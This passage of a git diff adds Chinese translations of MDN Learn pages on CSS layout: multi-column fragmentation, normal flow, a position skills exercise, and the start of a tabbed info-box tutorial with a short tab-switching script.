vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + +</div> +</pre> + +<pre class="brush: css">.container { + column-width: 250px; + column-gap: 20px; +} + +.card { + background-color: rgb(207, 232, 220); + border: 2px solid rgb(79, 185, 227); + padding: 10px; + margin: 0 0 1em 0; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_4', '100%', 600) }}</p> + +<p>我们可以使用 <a href="/en-US/docs/Web/CSS/CSS_Fragmentation">CSS Fragmentation</a> 中声明的属性控制这一特性。 这份规范提供了一些属性来控制 multicol 和多页媒体中的内容拆分、折断。比如, 在规则 <code>.card</code> 上添加属性{{cssxref("break-inside")}},并设值 <code>avoid</code> 。<code>.card</code> 是标题和文本的容器,我们不想拆开这个盒子。</p> + +<p>现阶段,增加旧属性 <code>page-break-inside: avoid</code> 能够获得更好的浏览器支持。</p> + +<pre class="brush: css">.card { + break-inside: avoid; + page-break-inside: avoid; + background-color: rgb(207,232,220); + border: 2px solid rgb(79,185,227); + padding: 10px; + margin: 0 0 1em 0; +} +</pre> + +<p>刷新页面,你的盒子就会呆在一起了。</p> + +<div id="Multicol_5"> +<div class="hidden"> +<h6 id="Multicol_Fragmentation">Multicol Fragmentation</h6> + +<pre class="brush: css">body { + width: 90%; + max-width: 900px; + margin: 2em auto; + font: .9em/1.2 Arial, Helvetica, sans-serif; +} </pre> + +<pre class="brush: html"><div class="container"> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + + <div class="card"> + <h2>I am the heading</h2> + <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat + vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies + tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci + vel, viverra egestas ligula.</p> + </div> + +</div> +</pre> +</div> + +<pre class="brush: css">.container { + column-width: 250px; + column-gap: 20px; +} + +.card { + break-inside: avoid; + page-break-inside: avoid; + background-color: rgb(207, 232, 220); + border: 2px solid rgb(79, 185, 227); + padding: 10px; + margin: 0 0 1em 0; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Multicol_5', '100%', 600) }}</p> + +<h2 id="小结">小结</h2> + +<p>现在你知道多列布局的基本用法了,构建页面时又多了一种布局选择。</p> + +<h2 id="参考">参考</h2> + +<ul> + <li><a href="/en-US/docs/Web/CSS/CSS_Fragmentation">CSS Fragmentation</a></li> + <li><a href="/en-US/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts">Using multi-column layouts</a></li> +</ul> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">CSS 介绍</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">正常布局流(Normal Flow)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒子(Flexbox)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">网格(Grid)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">浮动(Floats)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">定位(Positioning)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">多列布局(Multiple-column Layout)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">传统的布局实现(Legacy Layout Methods)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">支持旧有浏览器(Supporting older browsers)</a></li> + <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental Layout Comprehension Assessment</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/normal_flow/index.html b/files/zh-cn/learn/css/css_layout/normal_flow/index.html new file mode 100644 index 0000000000..362c46ddf3 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/normal_flow/index.html @@ -0,0 +1,98 @@ +--- +title: 正常布局流 +slug: Learn/CSS/CSS_layout/Normal_Flow +tags: + - 浮动 + - 网格布局 +translation_of: Learn/CSS/CSS_layout/Normal_Flow +--- +<div>{{LearnSidebar}}</div> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p> + +<p class="summary">这篇文章介绍正常的流布局,或者说,在你没有改变默认布局规则情况下的页面元素布局方式。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>HTML 基础 (study <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>), 和了解CSS如何工作的(study <a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>在做出改动之前,能够解释浏览器默认的布局方式.</td> + </tr> + </tbody> +</table> + +<p>如上小节对布局的介绍,如果你未曾应用任何CSS规则来改变它们的展现方式,网页上的元素将会按照正常布局流来组织。同样的,开始探索前,你可以通过调整元素位置,或者完全的移除元素来改变它们的表现效果。从一副简单的、结构良好并且在正常布局流下仍然易读的文档开始,是上手任何页面的最佳方式(译者注:几乎没有很简单的CSS,标签组织符合一般用法)。这样确保了你的内容的易读性,即便用户使用受限的浏览器或者屏幕阅读设备(译者注:比如有些老旧浏览器对某些CSS特性的支持不理想,或者有用户自定义CSS样式)。此外,由于正常布局流的设计初衷在于构建易读、合理的文档,遵循这样的指引原则,你在对布局做出改动时应该是与文档协同,而不是与之对抗。</p> + +<p>在深入探索不同的布局方式之前, 你最好回顾下在之前模块学习到的关于正常布局流的知识点(译者注:比如position display float table flex-box grid-layout).</p> + +<h2 id="默认情况下,元素是如何布局的?">默认情况下,元素是如何布局的?</h2> + +<p>首先,取得元素的内容来放在一个独立的元素盒子中,然后在其周边加上内边距、边框和外边距 --- 就是我们之前看到的盒子模型。</p> + +<p>默认的,一个<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Block-level_elements">块级元素</a>的内容宽度是其父元素的100%,其高度与其内容高度一致。<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTML/Inline_elements">内联元素</a>的height width与内容一致。你无法设置内联元素的height width --- 它们就那样置于块级元素的内容里。 如果你想控制内联元素的尺寸,你需要为元素设置<code>display: block;</code> (或者,<code>display: inline-block;</code> inline-block 混合了inline 和 block的特性。)</p> + +<p>这样解释了独立元素的布局,但是元素之间又是如何相互影响的呢? 正常布局流(在布局介绍里提到过)是一套在浏览器视口内放置、组织元素的系统。默认的,块级元素按照基于其父元素的<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/CSS/writing-mode">书写顺序</a>(<em>默认值:</em> horizontal-tb)的<em>块流动方向(block flow direction)</em>放置 --- 每个块级元素会在上一个元素下面另起一行,它们会被设置好的margin 分隔。在英语,或者其他水平书写、自上而下模式里,块级元素是垂直组织的。</p> + +<p>内联元素的表现有所不同 --- 它们不会另起一行;只要在其父级块级元素的宽度内有足够的空间,它们与其他内联元素、相邻的文本内容(或者被包裹的)被安排在同一行。如果空间不够,溢出的文本或元素将移到新的一行。</p> + +<p>如果两个相邻的元素都设置了margin 并且两个margin有重叠,那么更大的设置会被保留,小的则会消失 --- 这被称为外边距叠加,我们之前见到过。</p> + +<p>我们来看一个对全部这些做出解释的简单例子:</p> + +<div id="Normal_Flow"> +<pre class="brush: html notranslate"><h1>Basic document flow</h1> + +<p>I am a basic block level element. My adjacent block level elements sit on new lines below me.</p> + +<p>By default we span 100% of the width of our parent element, and we are as tall as our child content. Our total width and height is our content + padding + border width/height.</p> + +<p>We are separated by our margins. Because of margin collapsing, we are separated by the width of one of our margins, not both.</p> + +<p>inline elements <span>like this one</span> and <span>this one</span> sit on the same line as one another, and adjacent text nodes, if there is space on the same line. Overflowing inline elements will <span>wrap onto a new line if possible (like this one containing text)</span>, or just go on to a new line if not, much like this image will do: <img src="https://mdn.mozillademos.org/files/13360/long.jpg"></p></pre> + +<pre class="brush: css notranslate">body { + width: 500px; + margin: 0 auto; +} + +p { + background: rgba(255,84,104,0.3); + border: 2px solid rgb(255,84,104); + padding: 10px; + margin: 10px; +} + +span { + background: white; + border: 1px solid black; +}</pre> +</div> + +<p>{{ EmbedLiveSample('Normal_Flow', '100%', 500) }}</p> + +<h2 id="小结">小结</h2> + +<p>现在你对正常布局流有所了解,知晓浏览器默认怎么组织元素,继续下一节,学习如何改变默认布局以产出符合你的设计的布局。</p> + +<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Introduction", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</p> + +<h2 id="在这个模块中">在这个模块中</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Introduction">CSS 介绍</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Normal_Flow">正常布局流(Normal Flow)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Flexbox">弹性盒子(Flexbox)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Grids">网格(Grid)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Floats">浮动(Floats)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Positioning">位置(Positioning)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">多列布局(Multiple-column Layout)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Responsive_Design">响应式设计</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Media_queries">媒体查询入门指南 </a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">传统的布局实现(Legacy Layout Methods)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">支持旧有浏览器(Supporting older browsers)</a></li> + <li><a href="/zh-CN/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">评估你对布局的理解</a></li> +</ul> diff --git a/files/zh-cn/learn/css/css_layout/position_skills/index.html b/files/zh-cn/learn/css/css_layout/position_skills/index.html new file mode 100644 index 0000000000..63c8a8f01a --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/position_skills/index.html @@ -0,0 +1,70 @@ +--- +title: 'Test your skills: position' +slug: Learn/CSS/CSS_layout/Position_skills +tags: + - Position + - 定位 + - 布局 +translation_of: Learn/CSS/CSS_layout/Position_skills +--- +<div></div> + +<div>{{LearnSidebar}}</div> + +<div></div> + +<p>此任务的目的是让您使用在我们的position课程中介绍的CSS {{CSSxRef("position")}}属性以及对应值,您将通过两个小任务来复习刚才课程材料中介绍的不同元素。</p> + +<div class="blockIndicator note"> +<p><strong>小贴士</strong>: 您可以在下面的交互式编辑器中尝试解决方案,下载代码并使用在线工具(如CodePen、jsFiddle或Glitch)处理任务可能会有帮助。</p> + +<p>如果您遇到困难,请向我们寻求帮助-请参阅本页底部的 {{anch("Assessment or further help")}} 部分</p> +</div> + +<h2 id="定位练习一">定位练习一</h2> + +<p>在这项任务中,您需要将目标类别为5px灰色边框的元素定位到外部容器的右上角。</p> + +<p><img alt="The green box is at the top right of a container with a grey border." src="https://mdn.mozillademos.org/files/17077/position-task1.png" style="height: 661px; width: 1033px;"></p> + +<p>尝试更改下面的代码示例,重新完成的上述任务:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/position/position1.html", '100%', 1000)}}</p> + +<p>作为一个额外的挑战,你能改变目标元素显示在文本下面吗?</p> + +<div class="blockIndicator note"> +<p>为了评估和进一步编辑,<a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/position/position1-download.html">下载源代码</a>在本地编辑器或在线编辑器中编辑</p> +</div> + +<h2 id="定位练习二">定位练习二</h2> + +<p>在下面的示例中,滚动条滚动时侧边栏将随内容一起滚动。更改它使滚动条滚动时侧边栏保持原位并且只滚动内容。</p> + +<p><img alt="The content is scrolled but the sidebar has stayed in place." src="https://mdn.mozillademos.org/files/17078/position-task2.png" style="height: 827px; width: 1123px;"></p> + +<p>尝试更改下面的代码示例,重新完成的上述任务:</p> + +<p>{{EmbedGHLiveSample("css-examples/learn/tasks/position/position2.html", '100%', 1000)}}</p> + +<div class="blockIndicator note"> +<p>为了评估和进一步编辑,<a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/position/position1-download.html">下载源代码</a>在本地编辑器或在线编辑器中编辑</p> +</div> + +<h2 id="Assessment_or_further_help">Assessment or further help</h2> + +<p>You can practice these examples in the Interactive Editors mentioned above.</p> + +<p>If you would like your work assessed, or are stuck and want to ask for help:</p> + +<ol> + <li>Put your work into an online shareable editor such as <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, or <a href="https://glitch.com/">Glitch</a>. You can write the code yourself, or use the starting point files linked to in the above sections.</li> + <li>Write a post asking for assessment and/or help at the <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a>. Your post should include: + <ul> + <li>A descriptive title such as "Assessment wanted for Position skill test 1".</li> + <li>Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment.</li> + <li>A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.</li> + <li>A link to the actual task or assessment page, so we can find the question you want help with.</li> + </ul> + </li> +</ol> diff --git a/files/zh-cn/learn/css/css_layout/practical_positioning_examples/index.html b/files/zh-cn/learn/css/css_layout/practical_positioning_examples/index.html new file mode 100644 index 0000000000..61da887ea2 --- /dev/null +++ b/files/zh-cn/learn/css/css_layout/practical_positioning_examples/index.html @@ -0,0 +1,418 @@ +--- +title: 定位实例练习 +slug: Learn/CSS/CSS_layout/Practical_positioning_examples +tags: + - 选项卡 +translation_of: Learn/CSS/CSS_layout/Practical_positioning_examples +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout")}}</div> + +<p class="summary">掌握了上一篇文章中的定位的基础知识,我们将着眼于实现一些现实中的例子,来演示你能用定位来做什么。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row"> + <p>预备知识:</p> + </th> + <td> + <p>HTML基础(学习<a href="/en-US/docs/Learn/HTML/Introduction_to_HTML">Introduction to HTML</a>),和CSS怎么工作的 (学习<a href="/en-US/docs/Learn/CSS/Introduction_to_CSS">Introduction to CSS</a>.)</p> + </td> + </tr> + <tr> + <th scope="row"> + <p>目标:</p> + </th> + <td> + <p>了解定位的实例</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="列表消息盒子">列表消息盒子</h2> + +<p>我们研究的第一个例子是一个经典的选项卡消息框,你想用一块小区域包括大量信息时,一个非常常用的特征。这包括含有大信息量的应用,比如策略战争游戏,比如从移动版的网页,屏幕狭小、空间有限;比如你可能想要放置许多信息的紧凑消息框,不用就会充满整个UI。我们简单的例子完成后就会像下面这样:</p> + +<p><img alt="" src="https://mdn.mozillademos.org/files/13368/tabbed-info-box.png" style="display: block; height: 400px; margin: 0px auto; width: 450px;"></p> + +<div class="note"> +<p><strong>注意:</strong>你能看完整的示例,可运行在 <a href="http://mdn.github.io/learning-area/css/css-layout/practical-positioning-examples/info-box.html">info-box.html</a> (<a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box.html">source code</a>)。检出它以理解你在本文章里要建立什么。</p> +</div> + +<p>你可能会想:”为什么不仅仅做独立的选项卡为一个独立的网页,然后通过点击不同的标签来在不同的页面跳转来达到这个效果?“这样代码可能会简单一些,是的。但是这样每个独立的”页面“视图将会实际上是一个新加载的网页,跨视图更难保存信息,并把这个特征融入一个更大的UI设计。另外,所谓的”单页应用“正在变得非常流行——尤其是移动网页UI——因为把一切的服务放在一个单独的文件上可以减少HTTP请求的数量来浏览所有内容,从而提高性能。</p> + +<div class="note"> +<p><strong>注意:</strong>一些网络开发者甚至更超前,每次只加载一页的信息,并且使用JavaScript诸如 <a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a>特征动态改变信息显示。但是,在你此时的学习中,我们希望尽可能保持简单。接下来会有一些JavaScript,但是只有一点。</p> +</div> + +<p>在开始之前,我们需要你拷贝文件到本地,当作起始的HTML文件—— <a href="https://github.com/mdn/learning-area/blob/master/css/css-layout/practical-positioning-examples/info-box-start.html">info-box-start.html</a>. 保存到你的计算机合适的位置,然后在你的编辑器里打开。让我们看看包含在 body 里的HTML代码:</p> + +<pre class="brush: html"><section class="info-box"> + <ul> + <li><a href="#" class="active">Tab 1</a></li> + <li><a href="#">Tab 2</a></li> + <li><a href="#">Tab 3</a></li> + </ul> + <div class="panels"> + <article class="active-panel"> + <h2>The first tab</h2> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. Vestibulum et orci scelerisque, vulputate tellus quis, lobortis dui. Vivamus varius libero at ipsum mattis efficitur ut nec nisl. Nullam eget tincidunt metus. Donec ultrices, urna maximus consequat aliquet, dui neque eleifend lorem, a auctor libero turpis at sem. Aliquam ut porttitor urna. Nulla facilisi.</p> + </article> + <article> + <h2>The second tab</h2> + + <p>This tab hasn't got any Lorem Ipsum in it. But the content isn't very exciting all the same.</p> + </article> + <article> + <h2>The third tab</h2> + + <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Pellentesque turpis nibh, porttitor nec venenatis eu, pulvinar in augue. And now an ordered list: how exciting!</p> + + <ol> + <li>dui neque eleifend lorem, a auctor libero turpis at sem.</li> + <li>Aliquam ut porttitor urna.</li> + <li>Nulla facilisi</li> + </ol> + </article> + </div> +</section></pre> + +<p>这样我们已经得到了一个{{htmlelement("section")}}元素带有类(<code>class</code>)为 <code>info-box</code>。此元素又包含一个 {{htmlelement("ul")}} 和一个 {{htmlelement("div")}}。无序列表包含三个列表项,列表项有链接在内,实际上将成为用于点击后显示内容面板的选项卡。 <code>div</code> 包含三个{{htmlelement("article")}} 元素,构成对应于每个选项卡的内容面板。 每个面板包含一些示例内容。</p> + +<p>这里的思路是我们将样式化选项卡看起来是一个标准的水平导航菜单,使用绝对定位样式化面板互相坐落其顶上。我们也给你一点JavaScript包含到你的页面上,当选项卡被按下时,显示对应的面板,并且样式化选项卡本身。你不需要在这个阶段了解JavaScript本身,但是你应该尽快学习一些基本的 <a href="/en-US/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript</a>——你的用户界面越复杂,越需要一些JavaScript来实现你渴望的功能。</p> + +<h3 id="一般设置">一般设置</h3> + +<p>开始前,在{{HTMLElement("style")}}开闭标签之间添加下面的代码:</p> + +<pre class="brush: css">html { + font-family: sans-serif; +} + +* { + box-sizing: border-box; +} + +body { + margin: 0; +}</pre> + +<p>这只是一些一般设置,在我们页面上设置了无衬线的字体、使用 {{cssxref("box-sizing")}} 模型,去掉 {{htmlelement("body")}} 默认外边距。</p> + +<p>下一步,在你早先的CSS下面加入如下代码:</p> + +<pre class="brush: css">.info-box { + width: 450px; + height: 400px; + margin: 0 auto; +}</pre> + +<p>这对内容设置具体的高度和宽度、在屏幕居中使用老把戏 <code>margin: 0 auto</code> 。在早先的课程中我们建议尽可能不固定内容容器的高度。这个情况下是可以的,因为我们是在选项卡中固定的内容,如果每个标签都有不同的高度,看起来也有些不和谐。</p> + +<h3 id="样式化我们的选项卡">样式化我们的选项卡</h3> + +<p>现在我们希望样式化选项卡看上去像选项卡——基本,这些是一个水平的导航标签,但不是点击之后加载不同的网页,和我们之前在课程中见到的不同,相反,他们在同一页面上显示不同的面板。首先,在你的CSS底部添加下列规则,从无序列表中移除默认的{{cssxref("padding-left")}}和{{cssxref("margin-top")}}值:</p> + +<pre class="brush: css">.info-box ul { + padding-left: 0; + margin-top: 0; +}</pre> + +<div class="note"> +<p><strong>注意:</strong>我们正在使用后代选择器,整个例子 <code>.info-box</code> 都位于链的开始——这样页面已经带有其他内容时,我们可以插入这个特征,不害怕与应用于页面其他部分的样式冲突。</p> +</div> + +<p>接下来,我们将样式化水平选项卡——列表项都要左浮动确保他们一行合起来,他们的{{cssxref("list-style-type")}}被设置为 <code>none</code> 用以去除项目符号,宽度({{cssxref("width")}})设置为 <code>150px</code> 以便于适应这个info-box。链接( {{htmlelement("a")}} )元素设置为{{cssxref("display")}} inline-block,这样他们将在一行显示,仍然保持样式可设置,他们会被样式化合适的选项卡按钮,通过一系列的其他属性。</p> + +<p>添加下列的CSS:</p> + +<pre class="brush: css">.info-box li { + float: left; + list-style-type: none; + width: 150px; +} + +.info-box li a { + display: inline-block; + text-decoration: none; + width: 100%; + line-height: 3; + background-color: red; + color: black; + text-align: center; +}</pre> + +<p>最后,对于本节,我们将会在链接状态上设置一些样式。首先,我们要设置标签的 <code>:focus</code> 和 <code>:hover</code> 状态,让他们在获得焦点/鼠标悬浮的时候看起来不同,给用户提供一些可视化反馈。其次,当某个选项卡的类( <code>class</code> )出现 <code>active</code> 时,我们为其设置一条相同的样式规则。我们将通过使用JavaScript来设置,当一个标签被点击时。把这些CSS放置在你的其他样式后面:</p> + +<pre class="brush: css">.info-box li a:focus, .info-box li a:hover { + background-color: #a60000; + color: white; +} + +.info-box li a.active { + background-color: #a60000; + color: white; +}</pre> + +<h3 id="样式化面板">样式化面板</h3> + +<p>下一步工作是样式化我们的面板,现在开始吧!</p> + +<p>首先,添加下列的规则去样式化 <code>.panels</code> {{htmlelement("div")}} 容器。我们简单的设置一个固定的高度,确保面板包含在info-box里面,{{cssxref("position")}} <code>relative</code> 设置 {{htmlelement("div")}} 为定位上下文,这样你能然后相对自身放置定位子元素,而不是相对{{htmlelement("html")}}元素,最后我们清除({{cssxref("clear")}})浮动,设置在上面CSS中,这样避免影响布局的剩余部分。</p> + +<pre class="brush: css">.info-box .panels { + height: 352px; + position: relative; + clear: both; +}</pre> + +<p>在本节的最后,我们将对包含我们面板的单独 {{htmlelement("article")}} 元素设置样式。我们添加的第一条规则就是绝对定位面板,让他们都位于{{htmlelement("div")}}容器的左上角——这一部分对整个布局特性是关键的,就像使面板互相位于顶部。规则设置面板为和容器同样的高度,给内容一些内边距,设置字体颜色({{cssxref("color")}}),和背景颜色({{cssxref("background-color")}})。</p> + +<p>我们将添加的第二条规则,对带有类( <code>class</code> )为( <code>active-panel</code> )的面板,设置{{cssxref("z-index")}} 为 1,会让他位于其他的面板之上(默认定位元素 <code>z-index</code> 的值是 0,会使默认元素位于下面)。同样的,我们会在合适的时候用JavaScript 来添加这个类。</p> + +<pre class="brush: css">.info-box article { + position: absolute; + top: 0; + left: 0; + height: 352px; + padding: 10px; + color: white; + background-color: #a60000; +} + +.info-box .active-panel { + z-index: 1; +}</pre> + +<h3 id="添加我们的JavaScript">添加我们的JavaScript</h3> + +<p>让这些特性工作的最后一步是添加一些JavaScript。添加下列一块代码,准确的写在你的开始和结束的{{htmlelement("script")}}标签之间(在接下来的HTML内容中你将会发现这些):</p> + +<pre class="brush: js">var tabs = document.querySelectorAll('.info-box li a'); +var panels = document.querySelectorAll('.info-box article'); + +for(i = 0; i < tabs.length; i++) { + var tab = tabs[i]; + setTabHandler(tab, i); +} + +function setTabHandler(tab, tabPos) { + tab.onclick = function() { + for(i = 0; i < tabs.length; i++) { + if(tabs[i].getAttribute('class')) { + tabs[i].removeAttribute('class'); + } + } + + tab.setAttribute('class', 'active'); + + for(i = 0; i < panels.length; i++) { + if(panels[i].getAttribute('class')) { + panels[i].removeAttribute('class'); + } + } + + panels[tabPos].setAttribute('class', 'active-panel'); + } +}</pre> + +<p>这些代码做了如下工作:</p> + +<ul> + <li>首先我们保存所有的选项卡和所有的面板引用到两个变量中,名为 <code>tabs</code> 和 <code>panels</code>,这样此后我们可以容易地为它们做事。</li> + <li>然后我们使用 <code>for</code> 循环遍历所有的选项卡,并且在每一个上运行叫做<code>setTabHandler()</code> 的函数,此函数建立当每个选项卡被点击时应该发生的功能。 运行时, 函数会被传递选项卡,和一个索引数<code>i</code> 指明选项卡在<code>tabs</code> 数组中的位置。</li> + <li>在 <code>setTabHandler()</code> 函数中,这个标签创建了一个 <code>onclick</code> 事件来处理点击,所以当标签被点击的时候,接下来会发生: + <ul> + <li>用一个 <code>for</code> 循环清除所有标签当前存在的类。</li> + <li>当点击的时候在标签上创建了一个 <code>active</code> 类——从相关联的元素中继承了CSS的一些属性,具有和panels的样式相同的 {{cssxref("color")}} 和 {{cssxref("background-color")}}。</li> + <li>用一个 <code>for</code> 循环清除所有面板当前存在的类。</li> + <li>当标签被点击的时候在和标签相对应的面板上创建了一个 <code>active-panel</code> 类——从相关联的元素中继承了CSS的一些属性,使其 {{cssxref("z-index")}} 属性被设置为1,让它能位于所有的面板的上面。</li> + </ul> + </li> +</ul> + +<p>这是第一个例子,保持你的代码打开,我们将会在第二个例子中继续添加。</p> + +<h2 id="一个固定位置的列表消息盒子_2">一个固定位置的列表消息盒子</h2> + +<p 